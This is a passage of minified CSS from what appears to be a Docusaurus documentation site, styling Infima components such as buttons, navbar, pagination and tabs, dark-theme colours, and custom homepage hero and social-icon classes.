var(--ifm-badge-padding-horizontal)}.badge--primary{--ifm-badge-background-color:var(--ifm-color-primary)}.badge--secondary{--ifm-badge-background-color:var(--ifm-color-secondary);color:var(--ifm-color-black)}.breadcrumbs__link,.button.button--secondary.button--outline:not(.button--active):not(:hover){color:var(--ifm-font-color-base)}.badge--success{--ifm-badge-background-color:var(--ifm-color-success)}.badge--info{--ifm-badge-background-color:var(--ifm-color-info)}.badge--warning{--ifm-badge-background-color:var(--ifm-color-warning)}.badge--danger{--ifm-badge-background-color:var(--ifm-color-danger)}.breadcrumbs{margin-bottom:0;padding-left:0}.breadcrumbs__item:not(:last-child):after{background:var(--ifm-breadcrumb-separator) center;content:" ";display:inline-block;filter:var(--ifm-breadcrumb-separator-filter);height:calc(var(--ifm-breadcrumb-separator-size)*var(--ifm-breadcrumb-size-multiplier)*var(--ifm-breadcrumb-separator-size-multiplier));margin:0 var(--ifm-breadcrumb-spacing);opacity:.5;width:calc(var(--ifm-breadcrumb-separator-size)*var(--ifm-breadcrumb-size-multiplier)*var(--ifm-breadcrumb-separator-size-multiplier))}.breadcrumbs__item--active .breadcrumbs__link{background:var(--ifm-breadcrumb-item-background-active);color:var(--ifm-breadcrumb-color-active)}.breadcrumbs__link{border-radius:var(--ifm-breadcrumb-border-radius);font-size:calc(1rem*var(--ifm-breadcrumb-size-multiplier));padding:calc(var(--ifm-breadcrumb-padding-vertical)*var(--ifm-breadcrumb-size-multiplier)) calc(var(--ifm-breadcrumb-padding-horizontal)*var(--ifm-breadcrumb-size-multiplier));transition-duration:var(--ifm-transition-fast);transition-property:background,color}.breadcrumbs__link:any-link:hover,.breadcrumbs__link:link:hover,.breadcrumbs__link:visited:hover,area[href].breadcrumbs__link:hover{background:var(--ifm-breadcrumb-item-background-active);-webkit-text-decoration:none;text-decoration:none}.breadcrumbs--sm{--ifm-breadcrumb-size-multiplier:0.8}.breadcrumbs--lg{--ifm-breadcrumb-size-multiplier:1.2}.button{background-color:var(--ifm-button-background-color);border:var(--ifm-button-border-width) solid var(--ifm-button-border-color);border-radius:var(--ifm-button-border-radius);cursor:pointer;font-size:calc(.875rem*var(--ifm-button-size-multiplier));font-weight:var(--ifm-button-font-weight);line-height:1.5;padding:calc(var(--ifm-button-padding-vertical)*var(--ifm-button-size-multiplier)) calc(var(--ifm-button-padding-horizontal)*var(--ifm-button-size-multiplier));text-align:center;transition-duration:var(--ifm-button-transition-duration);transition-property:color,background,border-color;-webkit-user-select:none;user-select:none;white-space:nowrap}.button,.button:hover{color:var(--ifm-button-color)}.button--outline{--ifm-button-color:var(--ifm-button-border-color)}.button--outline:hover{--ifm-button-background-color:var(--ifm-button-border-color)}.button--link{--ifm-button-border-color:#0000;color:var(--ifm-link-color);text-decoration:var(--ifm-link-decoration)}.button--link.button--active,.button--link:active,.button--link:hover{color:var(--ifm-link-hover-color);text-decoration:var(--ifm-link-hover-decoration)}.dropdown__link--active,.dropdown__link:hover,.menu__link:hover,.navbar__brand:hover,.navbar__link--active,.navbar__link:hover,.pagination-nav__link:hover,.pagination__link:hover{-webkit-text-decoration:none;text-decoration:none}.button.disabled,.button:disabled,.button[disabled]{opacity:.65;pointer-events:none}.button--sm{--ifm-button-size-multiplier:0.8}.button--lg{--ifm-button-size-multiplier:1.35}.button--block{display:block;width:100%}.button.button--secondary{color:var(--ifm-color-gray-900)}:where(.button--primary){--ifm-button-background-color:var(--ifm-color-primary);--ifm-button-border-color:var(--ifm-color-primary)}:where(.button--primary):not(.button--outline):hover{--ifm-button-background-color:var(--ifm-color-primary-dark);--ifm-button-border-color:var(--ifm-color-primary-dark)}.button--primary.button--active,.button--primary:active{--ifm-button-background-color:var(--ifm-color-primary-darker);--ifm-button-border-color:var(--ifm-color-primary-darker)}:where(.button--secondary){--ifm-button-background-color:var(--ifm-color-secondary);--ifm-button-border-color:var(--ifm-color-secondary)}:where(.button--secondary):not(.button--outline):hover{--ifm-button-background-color:var(--ifm-color-secondary-dark);--ifm-button-border-color:var(--ifm-color-secondary-dark)}.button--secondary.button--active,.button--secondary:active{--ifm-button-background-color:var(--ifm-color-secondary-darker);--ifm-button-border-color:var(--ifm-color-secondary-darker)}:where(.button--success){--ifm-button-background-color:var(--ifm-color-success);--ifm-button-border-color:var(--ifm-color-success)}:where(.button--success):not(.button--outline):hover{--ifm-button-background-color:var(--ifm-color-success-dark);--ifm-button-border-color:var(--ifm-color-success-dark)}.button--success.button--active,.button--success:active{--ifm-button-background-color:var(--ifm-color-success-darker);--ifm-button-border-color:var(--ifm-color-success-darker)}:where(.button--info){--ifm-button-background-color:var(--ifm-color-info);--ifm-button-border-color:var(--ifm-color-info)}:where(.button--info):not(.button--outline):hover{--ifm-button-background-color:var(--ifm-color-info-dark);--ifm-button-border-color:var(--ifm-color-info-dark)}.button--info.button--active,.button--info:active{--ifm-button-background-color:var(--ifm-color-info-darker);--ifm-button-border-color:var(--ifm-color-info-darker)}:where(.button--warning){--ifm-button-background-color:var(--ifm-color-warning);--ifm-button-border-color:var(--ifm-color-warning)}:where(.button--warning):not(.button--outline):hover{--ifm-button-background-color:var(--ifm-color-warning-dark);--ifm-button-border-color:var(--ifm-color-warning-dark)}.button--warning.button--active,.button--warning:active{--ifm-button-background-color:var(--ifm-color-warning-darker);--ifm-button-border-color:var(--ifm-color-warning-darker)}:where(.button--danger){--ifm-button-background-color:var(--ifm-color-danger);--ifm-button-border-color:var(--ifm-color-danger)}:where(.button--danger):not(.button--outline):hover{--ifm-button-background-color:var(--ifm-color-danger-dark);--ifm-button-border-color:var(--ifm-color-danger-dark)}.button--danger.button--active,.button--danger:active{--ifm-button-background-color:var(--ifm-color-danger-darker);--ifm-button-border-color:var(--ifm-color-danger-darker)}.button-group{display:inline-flex;gap:var(--ifm-button-group-spacing)}.button-group>.button:not(:first-child){border-bottom-left-radius:0;border-top-left-radius:0}.button-group>.button:not(:last-child){border-bottom-right-radius:0;border-top-right-radius:0}.button-group--block{display:flex;justify-content:stretch}.button-group--block>.button{flex-grow:1}.card{background-color:var(--ifm-card-background-color);border-radius:var(--ifm-card-border-radius);box-shadow:var(--ifm-global-shadow-lw);display:flex;flex-direction:column;overflow:hidden}.card__image{padding-top:var(--ifm-card-vertical-spacing)}.card__image:first-child{padding-top:0}.card__body,.card__footer,.card__header{padding:var(--ifm-card-vertical-spacing) var(--ifm-card-horizontal-spacing)}.card__body:not(:last-child),.card__footer:not(:last-child),.card__header:not(:last-child){padding-bottom:0}.card__body>:last-child,.card__footer>:last-child,.card__header>:last-child{margin-bottom:0}.card__footer{margin-top:auto}.table-of-contents{font-size:.8rem;margin-bottom:0;padding:var(--ifm-toc-padding-vertical) 0}.table-of-contents,.table-of-contents ul{list-style:none;padding-left:var(--ifm-toc-padding-horizontal)}.table-of-contents li{margin:var(--ifm-toc-padding-vertical) var(--ifm-toc-padding-horizontal)}.table-of-contents__left-border{border-left:1px solid var(--ifm-toc-border-color)}.table-of-contents__link{color:var(--ifm-toc-link-color);display:block}.table-of-contents__link--active,.table-of-contents__link--active code,.table-of-contents__link:hover,.table-of-contents__link:hover code{color:var(--ifm-color-primary);-webkit-text-decoration:none;text-decoration:none}.close{color:var(--ifm-color-black);float:right;font-size:1.5rem;font-weight:var(--ifm-font-weight-bold);line-height:1;opacity:.5;padding:1rem;transition:opacity var(--ifm-transition-fast) var(--ifm-transition-timing-default)}.close:hover{opacity:.7}.close:focus{opacity:.8}.dropdown{display:inline-flex;font-weight:var(--ifm-dropdown-font-weight);position:relative;vertical-align:top}.dropdown--hoverable:hover .dropdown__menu,.dropdown--show .dropdown__menu{opacity:1;pointer-events:all;transform:translateY(-1px);visibility:visible}.dropdown__menu,.navbar__item.dropdown .navbar__link:not([href]){pointer-events:none}.dropdown--right .dropdown__menu{left:inherit;right:0}.dropdown--nocaret .navbar__link:after{content:none!important}.dropdown__menu{background-color:var(--ifm-dropdown-background-color);border-radius:var(--ifm-global-radius);box-shadow:var(--ifm-global-shadow-md);left:0;list-style:none;max-height:80vh;min-width:10rem;opacity:0;overflow-y:auto;padding:.5rem;position:absolute;top:calc(100% - var(--ifm-navbar-item-padding-vertical) + .3rem);transform:translateY(-.625rem);transition-duration:var(--ifm-transition-fast);transition-property:opacity,transform,visibility;transition-timing-function:var(--ifm-transition-timing-default);visibility:hidden;z-index:var(--ifm-z-index-dropdown)}.menu__caret,.menu__link,.menu__list-item-collapsible{border-radius:.25rem;transition:background var(--ifm-transition-fast) var(--ifm-transition-timing-default)}.dropdown__link{border-radius:.25rem;color:var(--ifm-dropdown-link-color);display:block;font-size:.875rem;margin-top:.2rem;padding:.25rem .5rem;white-space:nowrap}.dropdown__link--active,.dropdown__link:hover{background-color:var(--ifm-dropdown-hover-background-color);color:var(--ifm-dropdown-link-color)}.dropdown__link--active,.dropdown__link--active:hover{--ifm-dropdown-link-color:var(--ifm-link-color)}.dropdown>.navbar__link:after{border-color:currentcolor #0000;border-style:solid;border-width:.4em .4em 0;content:"";margin-left:.3em;position:relative;top:2px;transform:translateY(-50%)}.footer{background-color:var(--ifm-footer-background-color);color:var(--ifm-footer-color);padding:var(--ifm-footer-padding-vertical) var(--ifm-footer-padding-horizontal)}.footer--dark{--ifm-footer-background-color:#303846;--ifm-footer-color:var(--ifm-footer-link-color);--ifm-footer-link-color:var(--ifm-color-secondary);--ifm-footer-title-color:var(--ifm-color-white)}.footer__links{margin-bottom:1rem}.footer__link-item{color:var(--ifm-footer-link-color);line-height:2}.footer__link-item:hover{color:var(--ifm-footer-link-hover-color)}.footer__link-separator{margin:0 var(--ifm-footer-link-horizontal-spacing)}.footer__logo{margin-top:1rem;max-width:var(--ifm-footer-logo-max-width)}.footer__title{color:var(--ifm-footer-title-color);font:700 var(--ifm-h4-font-size)/var(--ifm-heading-line-height) var(--ifm-font-family-base);margin-bottom:var(--ifm-heading-margin-bottom)}.menu,.navbar__link{font-weight:var(--ifm-font-weight-semibold)}.footer__item{margin-top:0}.footer__items{margin-bottom:0}[type=checkbox]{padding:0}.hero{align-items:center;background-color:var(--ifm-hero-background-color);color:var(--ifm-hero-text-color);display:flex;padding:4rem 2rem}.hero--primary{--ifm-hero-background-color:var(--ifm-color-primary);--ifm-hero-text-color:var(--ifm-font-color-base-inverse)}.hero--dark{--ifm-hero-background-color:#303846;--ifm-hero-text-color:var(--ifm-color-white)}.hero__title{font-size:3rem}.hero__subtitle{font-size:1.5rem}.menu__list{list-style:none;margin:0;padding-left:0}.menu__caret,.menu__link{padding:var(--ifm-menu-link-padding-vertical) var(--ifm-menu-link-padding-horizontal)}.menu__list .menu__list{flex:0 0 100%;margin-top:.25rem;padding-left:var(--ifm-menu-link-padding-horizontal)}.menu__list-item:not(:first-child){margin-top:.25rem}.menu__list-item--collapsed .menu__list{height:0;overflow:hidden}.menu__list-item--collapsed .menu__caret:before,.menu__list-item--collapsed .menu__link--sublist:after{transform:rotate(90deg)}.menu__list-item-collapsible{display:flex;flex-wrap:wrap;position:relative}.menu__caret:hover,.menu__link:hover,.menu__list-item-collapsible--active,.menu__list-item-collapsible:hover{background:var(--ifm-menu-color-background-hover)}.menu__list-item-collapsible .menu__link--active,.menu__list-item-collapsible .menu__link:hover{background:none!important}.menu__caret,.menu__link{align-items:center;display:flex}.menu__link{color:var(--ifm-menu-color);flex:1;line-height:1.25}.menu__link:hover{color:var(--ifm-menu-color)}.menu__caret:before,.menu__link--sublist-caret:after{content:"";filter:var(--ifm-menu-link-sublist-icon-filter);height:1.25rem;transform:rotate(180deg);transition:transform var(--ifm-transition-fast) linear;width:1.25rem}.menu__link--sublist-caret:after{background:var(--ifm-menu-link-sublist-icon) 50%/2rem 2rem;margin-left:auto;min-width:1.25rem}.menu__link--active,.menu__link--active:hover{color:var(--ifm-menu-color-active)}.navbar__brand,.navbar__link{color:var(--ifm-navbar-link-color)}.menu__link--active:not(.menu__link--sublist){background-color:var(--ifm-menu-color-background-active)}.menu__caret:before{background:var(--ifm-menu-link-sublist-icon) 50%/2rem 2rem}.navbar--dark,html[data-theme=dark]{--ifm-menu-link-sublist-icon-filter:invert(100%) sepia(94%) saturate(17%) hue-rotate(223deg) brightness(104%) contrast(98%)}.navbar{background-color:var(--ifm-navbar-background-color);box-shadow:var(--ifm-navbar-shadow);height:var(--ifm-navbar-height);padding:var(--ifm-navbar-padding-vertical) var(--ifm-navbar-padding-horizontal)}.navbar,.navbar>.container,.navbar>.container-fluid{display:flex}.navbar--fixed-top{position:sticky;top:0;z-index:var(--ifm-z-index-fixed)}.navbar-sidebar,.navbar-sidebar__backdrop{bottom:0;left:0;opacity:0;position:fixed;top:0;transition-duration:var(--ifm-transition-fast);transition-timing-function:ease-in-out;visibility:hidden}.navbar__inner{display:flex;flex-wrap:wrap;justify-content:space-between;width:100%}.navbar__brand{align-items:center;display:flex;margin-right:1rem;min-width:0}.navbar__brand:hover{color:var(--ifm-navbar-link-hover-color)}.navbar__title{flex:1 1 auto}.navbar__toggle{display:none;margin-right:.5rem}.navbar__logo{flex:0 0 auto;height:2rem;margin-right:.5rem}.navbar__items{align-items:center;display:flex;flex:1;min-width:0}.navbar__items--center{flex:0 0 auto}.navbar__items--center .navbar__brand{margin:0}.navbar__items--center+.navbar__items--right{flex:1}.navbar__items--right{flex:0 0 auto;justify-content:flex-end}.navbar__items--right>:last-child{padding-right:0}.navbar__item{display:inline-block;padding:var(--ifm-navbar-item-padding-vertical) var(--ifm-navbar-item-padding-horizontal)}.navbar__link--active,.navbar__link:hover{color:var(--ifm-navbar-link-hover-color)}.navbar--dark,.navbar--primary{--ifm-menu-color:var(--ifm-color-gray-300);--ifm-navbar-link-color:var(--ifm-color-gray-100);--ifm-navbar-search-input-background-color:#ffffff1a;--ifm-navbar-search-input-placeholder-color:#ffffff80;color:var(--ifm-color-white)}.navbar--dark{--ifm-navbar-background-color:#242526;--ifm-menu-color-background-active:#ffffff0d;--ifm-navbar-search-input-color:var(--ifm-color-white)}.navbar--primary{--ifm-navbar-background-color:var(--ifm-color-primary);--ifm-navbar-link-hover-color:var(--ifm-color-white);--ifm-menu-color-active:var(--ifm-color-white);--ifm-navbar-search-input-color:var(--ifm-color-emphasis-500)}.navbar__search-input{appearance:none;background:var(--ifm-navbar-search-input-background-color) var(--ifm-navbar-search-input-icon) no-repeat .75rem center/1rem 1rem;border:none;border-radius:2rem;color:var(--ifm-navbar-search-input-color);cursor:text;display:inline-block;font-size:1rem;height:2rem;padding:0 .5rem 0 2.25rem;width:12.5rem}.navbar__search-input::placeholder{color:var(--ifm-navbar-search-input-placeholder-color)}.navbar-sidebar{background-color:var(--ifm-navbar-background-color);box-shadow:var(--ifm-global-shadow-md);transform:translate3d(-100%,0,0);transition-property:opacity,visibility,transform;width:var(--ifm-navbar-sidebar-width)}.navbar-sidebar--show .navbar-sidebar,.navbar-sidebar__items{transform:translateZ(0)}.navbar-sidebar--show .navbar-sidebar,.navbar-sidebar--show .navbar-sidebar__backdrop{opacity:1;visibility:visible}.navbar-sidebar__backdrop{background-color:#0009;right:0;transition-property:opacity,visibility}.navbar-sidebar__brand{align-items:center;box-shadow:var(--ifm-navbar-shadow);display:flex;flex:1;height:var(--ifm-navbar-height);padding:var(--ifm-navbar-padding-vertical) var(--ifm-navbar-padding-horizontal)}.navbar-sidebar__items{display:flex;height:calc(100% - var(--ifm-navbar-height));transition:transform var(--ifm-transition-fast) ease-in-out}.navbar-sidebar__items--show-secondary{transform:translate3d(calc((var(--ifm-navbar-sidebar-width))*-1),0,0)}.navbar-sidebar__item{flex-shrink:0;padding:.5rem;width:calc(var(--ifm-navbar-sidebar-width))}.navbar-sidebar__back{background:var(--ifm-menu-color-background-active);font-size:15px;font-weight:var(--ifm-button-font-weight);margin:0 0 .2rem -.5rem;padding:.6rem 1.5rem;position:relative;text-align:left;top:-.5rem;width:calc(100% + 1rem)}.navbar-sidebar__close{display:flex;margin-left:auto}.pagination{column-gap:var(--ifm-pagination-page-spacing);display:flex;font-size:var(--ifm-pagination-font-size);padding-left:0}.pagination--sm{--ifm-pagination-font-size:0.8rem;--ifm-pagination-padding-horizontal:0.8rem;--ifm-pagination-padding-vertical:0.2rem}.pagination--lg{--ifm-pagination-font-size:1.2rem;--ifm-pagination-padding-horizontal:1.2rem;--ifm-pagination-padding-vertical:0.3rem}.pagination__item{display:inline-flex}.pagination__item>span{padding:var(--ifm-pagination-padding-vertical)}.pagination__item--active .pagination__link{color:var(--ifm-pagination-color-active)}.pagination__item--active .pagination__link,.pagination__item:not(.pagination__item--active):hover .pagination__link{background:var(--ifm-pagination-item-active-background)}.pagination__item--disabled,.pagination__item[disabled]{opacity:.25;pointer-events:none}.pagination__link{border-radius:var(--ifm-pagination-border-radius);color:var(--ifm-font-color-base);display:inline-block;padding:var(--ifm-pagination-padding-vertical) var(--ifm-pagination-padding-horizontal);transition:background var(--ifm-transition-fast) var(--ifm-transition-timing-default)}.pagination-nav{display:grid;grid-gap:var(--ifm-spacing-horizontal);gap:var(--ifm-spacing-horizontal);grid-template-columns:repeat(2,1fr)}.pagination-nav__link{border:1px solid var(--ifm-color-emphasis-300);border-radius:var(--ifm-pagination-nav-border-radius);display:block;height:100%;line-height:var(--ifm-heading-line-height);padding:var(--ifm-global-spacing);transition:border-color var(--ifm-transition-fast) var(--ifm-transition-timing-default)}.pagination-nav__link:hover{border-color:var(--ifm-pagination-nav-color-hover)}.pagination-nav__link--next{grid-column:2/3;text-align:right}.pagination-nav__label{font-size:var(--ifm-h4-font-size);font-weight:var(--ifm-heading-font-weight);word-break:break-word}.pagination-nav__link--prev .pagination-nav__label:before{content:"« "}.pagination-nav__link--next .pagination-nav__label:after{content:" »"}.pagination-nav__sublabel{color:var(--ifm-color-content-secondary);font-size:var(--ifm-h5-font-size);font-weight:var(--ifm-font-weight-semibold);margin-bottom:.25rem}.pills__item,.tabs{font-weight:var(--ifm-font-weight-bold)}.pills{display:flex;gap:var(--ifm-pills-spacing);padding-left:0}.pills__item{border-radius:.5rem;cursor:pointer;display:inline-block;padding:.25rem 1rem;transition:background var(--ifm-transition-fast) var(--ifm-transition-timing-default)}.pills__item--active{color:var(--ifm-pills-color-active)}.pills__item--active,.pills__item:not(.pills__item--active):hover{background:var(--ifm-pills-color-background-active)}.pills--block{justify-content:stretch}.pills--block .pills__item{flex-grow:1;text-align:center}.tabs{color:var(--ifm-tabs-color);display:flex;margin-bottom:0;overflow-x:auto;padding-left:0}.tabs__item{border-bottom:3px solid #0000;border-radius:var(--ifm-global-radius);cursor:pointer;display:inline-flex;padding:var(--ifm-tabs-padding-vertical) var(--ifm-tabs-padding-horizontal);transition:background-color var(--ifm-transition-fast) var(--ifm-transition-timing-default)}.tabs__item--active{border-bottom-color:var(--ifm-tabs-color-active-border);border-bottom-left-radius:0;border-bottom-right-radius:0;color:var(--ifm-tabs-color-active)}.tabs__item:hover{background-color:var(--ifm-hover-overlay)}.tabs--block{justify-content:stretch}.tabs--block .tabs__item{flex-grow:1;justify-content:center}html[data-theme=dark]{--ifm-color-scheme:dark;--ifm-color-emphasis-0:var(--ifm-color-gray-1000);--ifm-color-emphasis-100:var(--ifm-color-gray-900);--ifm-color-emphasis-200:var(--ifm-color-gray-800);--ifm-color-emphasis-300:var(--ifm-color-gray-700);--ifm-color-emphasis-400:var(--ifm-color-gray-600);--ifm-color-emphasis-600:var(--ifm-color-gray-400);--ifm-color-emphasis-700:var(--ifm-color-gray-300);--ifm-color-emphasis-800:var(--ifm-color-gray-200);--ifm-color-emphasis-900:var(--ifm-color-gray-100);--ifm-color-emphasis-1000:var(--ifm-color-gray-0);--ifm-background-color:#1b1b1d;--ifm-background-surface-color:#242526;--ifm-hover-overlay:#ffffff0d;--ifm-color-content:#e3e3e3;--ifm-color-content-secondary:#fff;--ifm-breadcrumb-separator-filter:invert(64%) sepia(11%) saturate(0%) hue-rotate(149deg) brightness(99%) contrast(95%);--ifm-code-background:#ffffff1a;--ifm-scrollbar-track-background-color:#444;--ifm-scrollbar-thumb-background-color:#686868;--ifm-scrollbar-thumb-hover-background-color:#7a7a7a;--ifm-table-stripe-background:#ffffff12;--ifm-toc-border-color:var(--ifm-color-emphasis-200);--ifm-color-primary-contrast-background:#102445;--ifm-color-primary-contrast-foreground:#ebf2fc;--ifm-color-secondary-contrast-background:#474748;--ifm-color-secondary-contrast-foreground:#fdfdfe;--ifm-color-success-contrast-background:#003100;--ifm-color-success-contrast-foreground:#e6f6e6;--ifm-color-info-contrast-background:#193c47;--ifm-color-info-contrast-foreground:#eef9fd;--ifm-color-warning-contrast-background:#4d3800;--ifm-color-warning-contrast-foreground:#fff8e6;--ifm-color-danger-contrast-background:#4b1113;--ifm-color-danger-contrast-foreground:#ffebec}}:root{--ifm-color-primary:#12affa;--ifm-color-primary-dark:#10a7e6;--ifm-color-primary-darker:#0e9fd2;--ifm-color-primary-darkest:#0b8ab0;--ifm-color-primary-light:#14b3ff;--ifm-color-primary-lighter:#16b8ff;--ifm-color-primary-lightest:#1ac2ff;--ifm-code-font-size:95%;--docusaurus-highlighted-code-line-bg:#0000001a}[data-theme=dark]{--ifm-color-primary:#df5a35;--ifm-color-primary-dark:#c94f30;--ifm-color-primary-darker:#b3442b;--ifm-color-primary-darkest:#8f3723;--ifm-color-primary-light:#e3623b;--ifm-color-primary-lighter:#e76a41;--ifm-color-primary-lightest:#f0754b;--docusaurus-highlighted-code-line-bg:#0000004d}@layer docusaurus.core{#__docusaurus-base-url-issue-banner-container{display:none}}.cool-button_ql7L,.hero-title_l9ov,.heroBanner_qdFl,.social-icon_dUqL,.wechat-icon_LFEJ{position:relative}.github-icon_u8pr,.mail-icon_bKNN,.okx-icon_iwgw,.rss-icon_sYS7,.social-icon_dUqL,.wechat-icon_LFEJ{color:var(--ifm-color-primary)}.buttons_AeoN,.features_t9lD{align-items:center;display:flex}.features_t9lD{padding:2rem 0;width:100%}.featureSvg_GfXr,.wechat-icon_LFEJ:after{height:200px;width:200px}.heroBanner_qdFl{overflow:hidden;padding:4rem 0;text-align:center}.buttons_AeoN{justify-content:center}@keyframes a{0%,60%,to{transform:rotate(0)}10%,30%{transform:rotate(14deg)}20%{transform:rotate(-8deg)}40%{transform:rotate(-4deg)}50%{transform:rotate(10deg)}}.badge-image-class_eOmn{height:20px;transition:transform .3s,box-shadow .3s}.badge-image-class_eOmn:hover{box-shadow:0 5px 15px #0003;transform:scale(1.15)}.social-icon_dUqL{-webkit-text-decoration:none;text-decoration:none;transition:transform .3s,color .3s;will-change:transform,color}.social-icon_dUqL:hover{color:var(--ifm-color-primary-darker);transform:scale(1.2)}.wechat-icon_LFEJ:after{background-image:url(/assets/images/wx-c929afc8a67986abc859278e2df19530-dc006f68547c257688264ee23b5bf8e5.png);background-size:cover;border-radius:8px;bottom:30px;box-shadow:0 5px 15px #0000004d;content:"";display:none;left:50%;position:absolute;transform:translateX(-50%);z-index:100}.wechat-icon_LFEJ:hover:after{display:block}.github-icon_u8pr:hover{color:#000}.mail-icon_bKNN:hover{color:#6d4aff}.wechat-icon_LFEJ:hover{color:#07c160}.rss-icon_sYS7:hover{color:#f26522}.okx-icon_iwgw:hover{color:#121212}.cool-button_ql7L,.cool-button_ql7L:hover{color:#fff;-webkit-text-decoration:none;text-decoration:none}.cool-button_ql7L{background:linear-gradient(90deg,var(--ifm-color-primary) 0,var(--ifm-color-primary-dark) 100%);border-radius:30px;box-shadow:0 4px 15px rgba(var(--ifm-color-primary-rgb),.4);display:inline-block;font-weight:700;letter-spacing:1px;overflow:hidden;padding:12px 24px;text-transform:uppercase;transition:.3s}.cool-button_ql7L:before{background:linear-gradient(90deg,#0000,#fff3,#0000);content:"";height:100%;left:-100%;position:absolute;top:0;transition:.7s;width:100%}.cool-button_ql7L:hover{box-shadow:0 7px 20px rgba(var(--ifm-color-primary-rgb),.5);transform:translateY(-5px)}.cool-button_ql7L:hover:before{left:100%}.cool-button-extra_im0O{display:inline-block;margin-top:2.5rem}.hero-title_l9ov{color:var(--ifm-heading-color);display:inline-block;font-weight:800;margin-bottom:1.5rem}.hero-title_l9ov:after{background:var(--ifm-color-primary);border-radius:2px;bottom:-10px;content:"";height:4px;left:0;position:absolute;width:70px}.waving-hand_cs2R{animation:2.5s infinite a;display:inline-block;transform-origin:70% 70%}.home-container_oR0z{align-items:center;display:flex;flex-direction:column;margin:0 auto;max-width:800px;text-align:center}.social-icons_yr12{gap:1.5rem}.badges-container_DpSj,.social-icons_yr12{display:flex;justify-content:center;margin-top:2rem}.badges-container_DpSj{flex-wrap:wrap;gap:10px;margin-bottom:2rem}@layer docusaurus.theme-common{body:not(.navigation-with-keyboard) :not(input):focus{outline:0}.themedComponent_mlkZ{display:none}[data-theme=dark] .themedComponent--dark_xIcU,[data-theme=light] .themedComponent--light_NVdE,html:not([data-theme]) .themedComponent--light_NVdE{display:initial}.errorBoundaryError_a6uf{color:red;white-space:pre-wrap}.errorBoundaryFallback_VBag{color:red;padding:.55rem}.details_lb9f{--docusaurus-details-summary-arrow-size:0.38rem;--docusaurus-details-transition:transform 200ms ease;--docusaurus-details-decoration-color:grey}.details_lb9f>summary{cursor:pointer;list-style:none;padding-left:1rem;position:relative}.details_lb9f>summary::-webkit-details-marker{display:none}.details_lb9f>summary:before{border-color:#0000 #0000 #0000 var(--docusaurus-details-decoration-color);border-style:solid;border-width:var(--docusaurus-details-summary-arrow-size);content:"";left:0;position:absolute;top:.45rem;transform:rotate(0);transform-origin:calc(var(--docusaurus-details-summary-arrow-size)/2) 50%;transition:var(--docusaurus-details-transition)}.details_lb9f[data-collapsed=false].isBrowser_bmU9>summary:before,.details_lb9f[open]:not(.isBrowser_bmU9)>summary:before{transform:rotate(90deg)}.collapsibleContent_i85q{border-top:1px solid var(--docusaurus-details-decoration-color);margin-top:1rem;padding-top:1rem}.collapsibleContent_i85q p:last-child,.details_lb9f>summary>p:last-child{margin-bottom:0}}@layer docusaurus.theme-classic{:root{--docusaurus-progress-bar-color:var(--ifm-color-primary);--docusaurus-announcement-bar-height:auto;--docusaurus-tag-list-border:var(--ifm-color-emphasis-300);--docusaurus-collapse-button-bg:#0000;--docusaurus-collapse-button-bg-hover:#0000001a;--doc-sidebar-width:300px;--doc-sidebar-hidden-width:30px}#nprogress{pointer-events:none}#nprogress .bar{background:var(--docusaurus-progress-bar-color);height:2px;left:0;position:fixed;top:0;width:100%;z-index:1031}#nprogress .peg{box-shadow:0 0 10px var(--docusaurus-progress-bar-color),0 0 5px var(--docusaurus-progress-bar-color);height:100%;opacity:1;position:absolute;right:0;transform:rotate(3deg) translateY(-4px);width:100px}.skipToContent_fXgn{background-color:var(--ifm-background-surface-color);color:var(--ifm-color-emphasis-900);left:100%;padding:calc(var(--ifm-global-spacing)/2) var(--ifm-global-spacing);position:fixed;top:1rem;z-index:calc(var(--ifm-z-index-fixed) + 1)}.skipToContent_fXgn:focus{box-shadow:var(--ifm-global-shadow-md);left:1rem}.closeButton_CVFx{line-height:0;padding:0}.content_knG7{font-size:85%;padding:5px 0;text-align:center}.content_knG7 a{color:inherit;-webkit-text-decoration:underline;text-decoration:underline}.announcementBar_mb4j{align-items:center;background-color:var(--ifm-color-white);border-bottom:1px solid var(--ifm-color-emphasis-100);color:var(--ifm-color-black);display:flex;height:var(--docusaurus-announcement-bar-height)}.docSidebarContainer_YfHR,.navbarSearchContainer_Bca1:empty,.sidebarLogo_isFc,.toggleIcon_g3eP,html[data-announcement-bar-initially-dismissed=true] .announcementBar_mb4j{display:none}.announcementBarPlaceholder_vyr4{flex:0 0 10px}.announcementBarClose_gvF7{align-self:stretch;flex:0 0 30px}.announcementBarContent_xLdY{flex:1 1 auto}.toggle_vylO{height:2rem;width:2rem}.toggleButton_gllP{-webkit-tap-highlight-color:transparent;align-items:center;border-radius:50%;display:flex;height:100%;justify-content:center;transition:background var(--ifm-transition-fast);width:100%}.toggleButton_gllP:hover{background:var(--ifm-color-emphasis-200)}[data-theme-choice=dark] .darkToggleIcon_wfgR,[data-theme-choice=light] .lightToggleIcon_pyhR,[data-theme-choice=system] .systemToggleIcon_QzmC{display:initial}.toggleButtonDisabled_aARS{cursor:not-allowed}.darkNavbarColorModeToggle_X3D1:hover{background:var(--ifm-color-gray-800)}.tag_zVej{border:1px solid var(--docusaurus-tag-list-border);transition:border var(--ifm-transition-fast)}.tag_zVej:hover{--docusaurus-tag-list-border:var(--ifm-link-color);-webkit-text-decoration:none;text-decoration:none}.tagRegular_sFm0{border-radius:var(--ifm-global-radius);font-size:90%;padding:.2rem .5rem .3rem}.tagWithCount_h2kH{align-items:center;border-left:0;display:flex;padding:0 .5rem 0 1rem;position:relative}.tagWithCount_h2kH:after,.tagWithCount_h2kH:before{border:1px solid var(--docusaurus-tag-list-border);content:"";position:absolute;top:50%;transition:inherit}.tagWithCount_h2kH:before{border-bottom:0;border-right:0;height:1.18rem;right:100%;transform:translate(50%,-50%) rotate(-45deg);width:1.18rem}.tagWithCount_h2kH:after{border-radius:50%;height:.5rem;left:0;transform:translateY(-50%);width:.5rem}.tagWithCount_h2kH span{background:var(--ifm-color-secondary);border-radius:var(--ifm-global-radius);color:var(--ifm-color-black);font-size:.7rem;line-height:1.2;margin-left:.3rem;padding:.1rem .4rem}.tags_jXut{display:inline}.tag_QGVx{display:inline-block;margin:0 .4rem .5rem 0}.backToTopButton_sjWU{background-color:var(--ifm-color-emphasis-200);border-radius:50%;bottom:1.3rem;box-shadow:var(--ifm-global-shadow-lw);height:3rem;opacity:0;position:fixed;right:1.3rem;transform:scale(0);transition:all var(--ifm-transition-fast) var(--ifm-transition-timing-default);visibility:hidden;width:3rem;z-index:calc(var(--ifm-z-index-fixed) - 1)}.backToTopButton_sjWU:after{background-color:var(--ifm-color-emphasis-1000);content:" 